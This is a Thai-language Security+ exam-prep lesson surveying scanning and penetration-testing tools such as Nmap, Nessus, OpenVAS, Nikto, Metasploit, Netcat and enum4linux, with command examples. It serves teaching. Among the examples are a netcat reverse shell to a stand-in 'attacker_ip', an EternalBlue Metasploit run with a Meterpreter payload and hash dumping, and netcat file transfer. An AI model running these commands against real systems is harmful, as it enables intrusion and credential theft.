0Pricing
Security+ Academy · บทเรียน

เครื่องมือสแกนที่พบบ่อย: Nessus, OpenVAS และ Nmap

ฝึกใช้งานเครื่องมือมาตรฐานอุตสาหกรรมสำหรับค้นหาโฮสต์ สแกนพอร์ต และระบุช่องโหว่

เครื่องมือสแกนที่พบบ่อย: Nessus, OpenVAS และ Nmap เป็นบทเรียน Security+ Academy ฟรีบน CoddyKit นี่คือบทเรียนที่ 2 จากทั้งหมด 4 บทเรียน คุณสามารถอ่านบทเรียนทั้งหมดด้านล่างฟรี — จากนั้นลองปฏิบัติด้วยตัวคุณเองในเบราว์เซอร์พร้อมตัวแก้ไขโค้ดในตัวและติวเตอร์ AI ตลอด 24/7 บทเรียนนี้เป็นส่วนหนึ่งของเส้นทางการเรียน Security+ Academy และความก้าวหน้าของคุณจะซิงค์ข้ามเว็บและแอป CoddyKit คอร์ส Security+ Academy มีบทเรียนทั้งหมด 4 บทเรียน

ระบบนิเวศของเครื่องมือสแกน

ผู้เชี่ยวชาญด้าน Security ใช้เครื่องมือสแกนหลากหลายประเภทตามวัตถุประสงค์ เช่น การค้นหาโฮสต์ การสแกนพอร์ต การแจกแจงบริการ การตรวจหาระบบปฏิบัติการ การระบุช่องโหว่ และการทดสอบเว็บแอปพลิเคชัน Security+ คาดหวังให้ผู้สอบคุ้นเคยกับเครื่องมือที่ใช้กันอย่างแพร่หลายในแต่ละหมวด การเข้าใจว่าเครื่องมือแต่ละชนิดทำอะไรได้และทำอะไรไม่ได้ จะช่วยให้คุณเลือกเครื่องมือที่เหมาะสมกับ Task และตีความ Results ได้อย่างถูกต้อง Results จากเครื่องมือหลายชนิดที่ทำงานเสริมกันให้ความครอบคลุมได้มากกว่าการใช้เครื่องมือใดเครื่องมือหนึ่งเพียงอย่างเดียว

Nmap: เครื่องมือทำแผนผังเครือข่าย

Nmap (Network Mapper) เป็นเครื่องมือโอเพนซอร์สที่ใช้กันอย่างแพร่หลายที่สุดสำหรับการค้นหาเครือข่ายและการตรวจสอบด้าน Security เครื่องมือนี้ค้นหาโฮสต์ที่กำลังทำงาน แจกแจงพอร์ตที่เปิดอยู่ ตรวจหาบริการที่กำลังทำงานและ VERSION ของบริการเหล่านั้น รวมถึงระบุระบบปฏิบัติการ Nmap ใช้เทคนิคการสแกนหลายแบบ ได้แก่ การสแกน SYN (เป็นค่าเริ่มต้น ทำงานรวดเร็วและค่อนข้างซ่อนตัวได้ดี) TCP Connect (จับมือเชื่อมต่อเต็มรูปแบบ มีเสียงรบกวนมากกว่าแต่ไม่ต้องใช้สิทธิ์ root) การสแกน UDP และ การสแกน VERSION Nmap มาพร้อมกับ Nmap Scripting Engine (NSE) ซึ่งมีสคริปต์หลายร้อยรายการสำหรับตรวจหาช่องโหว่ การเดารหัสผ่านแบบลองทุกแบบ และการใช้ประโยชน์จากช่องโหว่

# Common Nmap scan types:
nmap -sS 192.168.1.0/24          # SYN scan (fast, stealthy)
nmap -sT 192.168.1.10            # TCP connect scan
nmap -sU -p 53,67,161 target     # UDP scan specific ports
nmap -sV 192.168.1.10            # version detection
nmap -O 192.168.1.10             # OS detection
nmap -A 192.168.1.10             # aggressive: -sV -O -sC --traceroute
nmap -p- 192.168.1.10            # scan all 65535 ports
nmap --script vuln 192.168.1.10  # run vulnerability scripts

ผลลัพธ์ Nmap และการตีความ

การตีความผลลัพธ์ Nmap อย่างถูกต้องเป็นทักษะสำคัญ แต่ละบรรทัดแสดงพอร์ตหนึ่งพอร์ตพร้อม STATE ของพอร์ต (เปิด: มีบริการกำลังรอรับการเชื่อมต่อ ปิด: โฮสต์ตอบกลับแต่ไม่มีบริการกำลังรอรับการเชื่อมต่อ ถูกกรอง: ไม่มีการตอบกลับหรือไม่สามารถเข้าถึงได้ผ่าน ICMP ซึ่งมักเกิดจากไฟร์วอลล์) โปรโตคอล และบริการหรือ VERSION ที่ตรวจพบ พอร์ตที่เปิดอยู่ คือพื้นผิวการโจมตีที่อาจเกิดขึ้น พอร์ตที่เปิดโดยไม่คาดคิดบนโฮสต์อาจบ่งชี้ว่าระบบถูกเจาะหรือมีบริการที่ไม่ได้รับอนุญาต แฟล็ก -oN, -oX และ -oG ใช้บันทึกผลลัพธ์ใน Format ปกติ XML และ grepable การบันทึกผลลัพธ์มีความสำคัญอย่างยิ่งต่อการจัดทำเอกสารและการเปรียบเทียบการสแกนในช่วงเวลาต่าง ๆ

# Sample Nmap output:
# PORT     STATE SERVICE  VERSION
# 22/tcp   open  ssh      OpenSSH 8.2p1 Ubuntu
# 80/tcp   open  http     Apache 2.4.41
# 443/tcp  open  ssl/http Apache 2.4.41
# 8080/tcp open  http     Jetty 9.4.39
# 3306/tcp open  mysql    MySQL 8.0.26
# 3306 open to internet = HIGH RISK (should be internal only)

# Save output:
nmap -sV 192.168.1.0/24 -oN scan_results.txt -oX scan_results.xml

Nessus: เครื่องมือสแกนช่องโหว่ระดับองค์กร

Nessus (โดย Tenable) เป็นเครื่องมือสแกนช่องโหว่เชิงพาณิชย์ที่มีการใช้งานแพร่หลายที่สุด เครื่องมือนี้ใช้สถาปัตยกรรมแบบปลั๊กอินที่มี Plugins มากกว่า 100,000 รายการ ครอบคลุม CVE, การตรวจสอบ Config การวัดมาตรฐานการปฏิบัติตามข้อกำหนด (CIS, DISA STIG) และการตรวจหามัลแวร์ Nessus ดำเนินการ การสแกนแบบมี Credentials โดยเข้าสู่ระบบต่าง ๆ ด้วย Credentials ที่ให้ไว้ เพื่อตรวจสอบ VERSION ของซอฟต์แวร์ที่ติดตั้ง คีย์รีจิสทรี และไฟล์ Config ทำให้ได้ Results ที่แม่นยำกว่าการตรวจสอบเครือข่ายโดยไม่มี Credentials อย่างมาก Nessus จัดทำรายงานโดยละเอียดพร้อมคะแนน CVSS, Description ช่องโหว่ และคำแนะนำด้าน Remediation ส่วน Nessus Essentials รุ่นฟรีสามารถสแกนได้สูงสุด 16 IPs

# Nessus scan configuration key settings:
# Scan type: Advanced Scan (most control)
# Credentials: Windows (domain admin), SSH (root or sudo)
# Plugins: enable 'Safe Checks' to avoid crashing systems
# Schedule: define scan window (off-hours recommended)

# Nessus output rating:
# Critical (CVSS 9.0-10.0): remote code execution, critical data exposure
# High     (CVSS 7.0-8.9):  privilege escalation, severe data exposure
# Medium   (CVSS 4.0-6.9):  local privilege escalation, information disclosure
# Low      (CVSS 0.1-3.9):  minimal impact, hardening issues
# Info:    configuration data, no immediate risk

OpenVAS: การสแกนช่องโหว่แบบโอเพนซอร์ส

OpenVAS (Open Vulnerability Assessment System) เป็นเครื่องมือสแกนช่องโหว่ฟรีและโอเพนซอร์สที่ดูแลโดย Greenbone Networks เครื่องมือนี้เป็นโครงการแยกสาขาที่ชุมชนดูแลต่อจาก Nessus รุ่นดั้งเดิมก่อนที่ Nessus จะเปลี่ยนเป็นเชิงพาณิชย์ OpenVAS ใช้ NVTs (Network Vulnerability Tests) ซึ่งทำหน้าที่คล้ายกับ Plugins ของ Nessus รุ่น Greenbone Community Edition (GCE) มีอินเทอร์เฟซจัดการผ่านเว็บ (Greenbone Security Assistant) OpenVAS ได้รับความนิยมในสภาพแวดล้อมที่ต้นทุนใบอนุญาตทำให้ไม่สามารถใช้เครื่องมือเชิงพาณิชย์ได้ เครื่องมือนี้มีชุดความสามารถกว้างกว่า Nmap ขณะที่ยังคงใช้งานได้ฟรี จึงเป็นตัวเลือกทั่วไปสำหรับองค์กรขนาดเล็ก สภาพแวดล้อมทางการศึกษา และห้องปฏิบัติการด้าน Security

# OpenVAS quick start:
# Install via Kali Linux or Docker:
gvm-setup    # initial setup (takes time to download feeds)
gvm-start    # start OpenVAS services

# Create a scan in the web UI (https://localhost:9392):
# 1. Create Target (host IPs, credentials)
# 2. Create Scan Config (Full and Fast, or Full Deep)
# 3. Create Task -> assign target + config
# 4. Start Task -> review Results report

# CLI scan:
openvas-cli --host=127.0.0.1 --user=admin --xml="<start_task>..."

Nikto: เครื่องมือสแกนช่องโหว่เว็บเซิร์ฟเวอร์

Nikto เป็นเครื่องมือโอเพนซอร์สสำหรับสแกนเว็บเซิร์ฟเวอร์ เพื่อตรวจหาไฟล์อันตราย VERSION ซอฟต์แวร์ที่ล้าสมัย ปัญหา Config ของเซิร์ฟเวอร์ และช่องโหว่เว็บทั่วไป เครื่องมือนี้ทดสอบปัญหาที่รู้จักมากกว่า 6,700 รายการ รวมถึงเมธอด HTTP ที่ไม่ปลอดภัย ส่วนหัว Security ที่ขาดหาย อินเทอร์เฟซผู้ดูแลระบบที่เปิดเผย Credentials เริ่มต้น และช่องโหว่ CGI ทั่วไป Nikto มีเสียงรบกวนสูงและไม่ได้ออกแบบมาให้ซ่อนตัว โดยจะสร้างบันทึกจำนวนมากบน Target เครื่องมือนี้ช่วยเสริมเครื่องมือสแกนระดับเครือข่ายด้วยการตรวจสอบเฉพาะด้านเว็บที่ Nessus และ OpenVAS อาจไม่ได้ครอบคลุมอย่างลึกซึ้ง โปรดใช้ Nikto เฉพาะกับระบบที่คุณได้รับอนุญาตให้ทดสอบเท่านั้น

# Nikto web scan examples:
nikto -h 192.168.1.10                    # basic scan
nikto -h https://192.168.1.10            # HTTPS target
nikto -h 192.168.1.10 -p 8080,8443      # multiple ports
nikto -h 192.168.1.10 -o report.html -Format html  # save report

# Nikto checks include:
# - Missing X-Frame-Options, Content-Security-Policy headers
# - Apache/nginx version disclosure
# - /admin, /phpinfo.php, /.git/ exposed
# - Default test files (phpMyAdmin, WebDAV)

Metasploit Framework

Metasploit Framework เป็นแพลตฟอร์มการทดสอบเจาะระบบที่ใช้กันอย่างแพร่หลายที่สุด โดยมีฐานข้อมูลของโค้ดโจมตี PAYLOAD โมดูลเสริม และเครื่องมือหลังการเจาะระบบ ผู้เข้าสอบ Security+ ควรเข้าใจว่า Metasploit คืออะไรและมีบทบาทอย่างไรในการทดสอบเจาะระบบ แม้จะไม่เคยใช้งานมาก่อนก็ตาม โมดูลของ Metasploit ประกอบด้วย โค้ดโจมตี (โค้ดที่ใช้ประโยชน์จากช่องโหว่) PAYLOAD (เชลล์โค้ดที่ทำงานหลังใช้ประโยชน์จากช่องโหว่สำเร็จ เช่น Meterpreter) โมดูลเสริม (การสแกน การทดสอบอินพุตผิดรูปแบบ และการแจกแจงโดยไม่ใช้ประโยชน์จากช่องโหว่) และ โมดูลหลังการเจาะระบบ (สำหรับยกระดับสิทธิ์ ดึง Credentials และเคลื่อนย้ายภายในเครือข่ายหลังจากเข้าถึงระบบได้ในเบื้องต้น)

# Metasploit Framework basic workflow:
msfconsole                          # start Metasploit
search eternalblue                  # search for exploit
use exploit/windows/smb/ms17_010_eternalblue
info                               # show exploit details
set RHOSTS 192.168.1.10            # target IP
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST 192.168.1.5              # attacker IP
run                                # execute exploit

# After shell:
meterpreter> sysinfo
meterpreter> getuid
meterpreter> hashdump              # dump NTLM hashes

Netcat: เครื่องมือสารพัดประโยชน์

Netcat (nc) เป็นเครื่องมืออรรถประโยชน์ที่เรียบง่ายแต่ใช้งานได้หลากหลายสำหรับอ่านและเขียนข้อมูลผ่านการเชื่อมต่อเครือข่ายด้วย TCP หรือ UDP เครื่องมือนี้มีประโยชน์นับไม่ถ้วนในงานด้าน Security เช่น การสร้าง Reverse shell จาก Host ที่ถูกเจาะ การถ่ายโอนไฟล์ข้ามส่วนเครือข่าย การสแกน Port การสร้างตัวรับฟังเครือข่ายอย่างง่ายสำหรับการทดสอบ และการดึงแบนเนอร์เพื่อระบุเวอร์ชันของบริการ ความเรียบง่ายและการมีอยู่ในระบบ Linux แทบทุกระบบทำให้เครื่องมือนี้ถูกใช้งานบ่อยทั้งในการดูแลระบบที่ถูกต้องตามกฎหมายและในชุดเครื่องมือของ Attacker ดังนั้นการทำความเข้าใจเครื่องมือนี้จากมุมมองด้านการตรวจจับจึงมีความสำคัญเช่นกัน

# Netcat usage examples:
# Banner grabbing:
nc -v 192.168.1.10 22    # grab SSH banner
nc -v 192.168.1.10 80    # grab HTTP banner

# Port scan:
nc -zv 192.168.1.10 1-1024 2>&1 | grep succeeded

# Reverse shell (attacker listens, victim connects out):
# Attacker: nc -lvnp 4444
# Victim: nc attacker_ip 4444 -e /bin/bash

# File transfer:
# Receiver: nc -lvnp 9999 > received_file.txt
# Sender:   nc receiver_ip 9999 < file.txt

เครื่องมือ Recon-ng และ OSINT

Recon-ng เป็นเฟรมเวิร์กสำหรับการสอดแนมเว็บที่ออกแบบมาเพื่อรวบรวม OSINT (ข่าวกรองจากแหล่งข้อมูลเปิด) โดยใช้โมดูลที่เรียกค้นแหล่งข้อมูลสาธารณะ เช่น Shodan, Bing, HaveIBeenPwned, ระเบียน DNS, LinkedIn, WHOIS และ logs ของ Certificate transparency เพื่อรวบรวมข้อมูลเกี่ยวกับ Target ก่อนเริ่มการสแกนเชิงรุก ขั้นตอนการสอดแนมของการทดสอบเจาะระบบมักเริ่มจาก OSINT เพื่อสร้างภาพรวมของโทโพโลยีเครือข่ายของ Target ชื่อพนักงาน รูปแบบอีเมล เทคโนโลยีที่ใช้งาน และทรัพยากรที่เปิดเผยต่อสาธารณะ OSINT ที่ดีอาจเปิดเผยเส้นทางการโจมตีที่ต้องใช้เวลานานกว่ามากหากค้นหาด้วยการสแกนเชิงรุกเพียงอย่างเดียว

# OSINT tool chain for reconnaissance:
# 1. WHOIS: domain registration details
whois example.com

# 2. DNS enumeration:
dnsrecon -d example.com -t std
fiercer --domain example.com

# 3. Shodan: internet-facing device search
# shodan search 'org:"Target Corp" port:3389'

# 4. theHarvester: emails, subdomains, names
theharvester -d example.com -l 500 -b google,linkedin

# 5. Certificate transparency:
crt.sh/?q=%.example.com  (reveals subdomains via certs)

การแจกแจงข้อมูลเครือข่ายด้วย Enum4linux

Enum4linux ใช้แจกแจงข้อมูลจาก Host Windows และเซิร์ฟเวอร์ Samba (SMB ของ Linux) ผ่านเซสชัน null และ MSRPC โดยดึงชื่อผู้ใช้ การเป็นสมาชิกกลุ่ม Share นโยบายรหัสผ่าน และข้อมูล Workgroup ในระหว่างการทดสอบเจาะระบบภายใน enum4linux สามารถเปิดเผยบัญชีผู้ใช้ที่พร้อมสำหรับการโจมตีแบบพ่นรหัสผ่านและโครงสร้าง Share ของสภาพแวดล้อมได้อย่างรวดเร็ว Windows รุ่นใหม่จำกัดการเข้าถึงเซสชัน null ไว้เป็นค่าเริ่มต้น แต่สภาพแวดล้อมที่กำหนดค่าไม่เหมาะสมมักเปิดเผยข้อมูลจำนวนมาก ความสามารถที่คล้ายกันมีอยู่ใน samrdump.py ของ Impacket และ CrackMapExec สำหรับการแจกแจงข้อมูลที่ผ่านการยืนยันตัวตนแล้ว

# Enum4linux Windows enumeration:
enum4linux -a 192.168.1.10       # all enumeration
enum4linux -U 192.168.1.10       # users only
enum4linux -S 192.168.1.10       # shares only

# CrackMapExec (authenticated enumeration):
crackmapexec smb 192.168.1.0/24 -u admin -p Password1
crackmapexec smb 192.168.1.10 --users
crackmapexec smb 192.168.1.10 --shares

# Nmap SMB scripts:
nmap --script smb-enum-users 192.168.1.10
nmap --script smb-os-discovery 192.168.1.10

การเลือกเครื่องมือให้เหมาะกับงาน

ผู้เชี่ยวชาญด้าน Security จะเลือกเครื่องมือให้เหมาะกับงาน สำหรับ การค้นหา Host และการสแกน Port: Nmap สำหรับ การระบุช่องโหว่ในวงกว้าง: Nessus (เชิงพาณิชย์) หรือ OpenVAS (ฟรี) สำหรับ ช่องโหว่ของเว็บเซิร์ฟเวอร์: Nikto สำหรับ การโจมตีเว็บแอปพลิเคชัน: Burp Suite สำหรับ Exploitation: Metasploit สำหรับ การสอดแนมด้วย OSINT: Recon-ng, theHarvester, Shodan สำหรับ การวิเคราะห์การรับส่งข้อมูลเครือข่าย: Wireshark, tcpdump สำหรับ การโจมตีเครือข่ายไร้สาย: ชุดเครื่องมือ Aircrack-ng การสอบ Security+ ทดสอบความรู้เชิงแนวคิดเกี่ยวกับเครื่องมือเหล่านี้ คุณควรทราบว่าแต่ละเครื่องมือใช้ทำอะไร แม้จะยังไม่มีประสบการณ์ใช้งานจริงกับทุกเครื่องมือก็ตาม

ตรวจสอบความเข้าใจอย่างรวดเร็ว

ทดสอบความเข้าใจแนวคิดของ CompTIA Security+ (SY0-701) จากบทเรียนนี้

ทบทวนบทเรียน

ในบทเรียนนี้ คุณได้เรียนรู้ว่า Nmap เป็นพื้นฐานสำหรับการค้นหา Host การสแกน Port และการตรวจจับเวอร์ชัน พร้อมกลไกสคริปต์ที่มีความสามารถเพิ่มเติมมากมาย Nessus และ OpenVAS ใช้สแกนช่องโหว่อย่างครอบคลุมเทียบกับ CVE ที่ทราบ โดยใช้การเข้าถึงแบบมีข้อมูลประจำตัวเพื่อให้ได้ความแม่นยำสูงสุด และ Metasploit มีเฟรมเวิร์กสำหรับการใช้ประโยชน์จากช่องโหว่ เพื่อให้ผู้ทดสอบเจาะระบบยืนยันได้ว่าช่องโหว่นั้นสามารถถูกใช้โจมตีได้จริงและแสดงผลกระทบของการโจมตีจริง ต่อไปเราจะสำรวจวงจรชีวิตการทดสอบเจาะระบบทั้งหมด ตั้งแต่ Reconnaissance จนถึง Reporting

คำถามที่พบบ่อย

บทเรียน “เครื่องมือสแกนที่พบบ่อย: Nessus, OpenVAS และ Nmap” ฟรีหรือไม่

ใช่ — ข้อความเต็มของ “เครื่องมือสแกนที่พบบ่อย: Nessus, OpenVAS และ Nmap” ฟรีให้อ่านที่นี่บนเว็บ เพื่อปฏิบัติแบบโต้ตอบ (ตัวแก้ไขโค้ดในตัวและติวเตอร์ AI ตลอด 24/7) และปลดล็อคส่วนที่เหลือของคอร์ส Security+ Academy ให้อัปเกรดเป็น CoddyKit PRO คอร์ส Security+ Academy มีบทเรียนทั้งหมด 4 บทเรียน

คุณจะเรียนรู้อะไรในบทเรียน “เครื่องมือสแกนที่พบบ่อย: Nessus, OpenVAS และ Nmap”

ฝึกใช้งานเครื่องมือมาตรฐานอุตสาหกรรมสำหรับค้นหาโฮสต์ สแกนพอร์ต และระบุช่องโหว่ คุณปฏิบัติ Security+ Academy ด้วยโค้ดที่ใช้งานได้จริงที่คุณเรียกใช้โดยตรงในเบราว์เซอร์ และติวเตอร์ AI ตลอด 24/7 ตอบคำถามของคุณขณะที่คุณไปผ่านบทเรียน

คุณต้องมีประสบการณ์ก่อนที่จะเริ่มเรียน Security+ Academy หรือไม่

ไม่จำเป็นต้องมีประสบการณ์มาก่อน Security+ Academy บน CoddyKit ออกแบบมาสำหรับผู้เริ่มต้นไปจนถึงผู้เรียนขั้นสูง คุณสามารถเริ่มต้นที่นี่หรือเริ่มจากตัวแรกและเรียนด้วยความเร็วของคุณเอง นี่คือบทเรียนที่ 2 จากทั้งหมด 4 บทเรียน

บทเรียน “เครื่องมือสแกนที่พบบ่อย: Nessus, OpenVAS และ Nmap” ใช้เวลานานแค่ไหน

บทเรียน CoddyKit ส่วนใหญ่ใช้เวลาประมาณ 5–10 นาที แต่ละบทเรียนจึงสั้นและเป็นแบบโต้ตอบ คุณสามารถก้าวหน้าอย่างต่อเนื่องและกลับมาเรียนต่อจากตรงที่เพิ่งหยุดบนเว็บและแอปได้เลย

ฉันเขียนและรันโค้ดในบทเรียน Security+ Academy นี้ได้ไหม

ได้ บทเรียน Security+ Academy ทุกบทมีตัวแก้ไขโค้ดในตัว คุณจึงเขียนและรันโค้ดจริงได้เลยในเบราว์เซอร์ และได้รับข้อเสนอแนะจาก AI ในทันที — ไม่ต้องติดตั้งในเครื่องของคุณ

บทเรียนทั้งหมดในหลักสูตรนี้

  1. การสแกนช่องโหว่เทียบกับการทดสอบเจาะระบบ
  2. เครื่องมือสแกนที่พบบ่อย: Nessus, OpenVAS และ Nmap
  3. ระยะของการทดสอบเจาะระบบ: จากการสำรวจไปจนถึงการรายงาน
  4. การให้คะแนน CVSS และการจัดลำดับความสำคัญของช่องโหว่
← กลับไปที่ Security+ Academy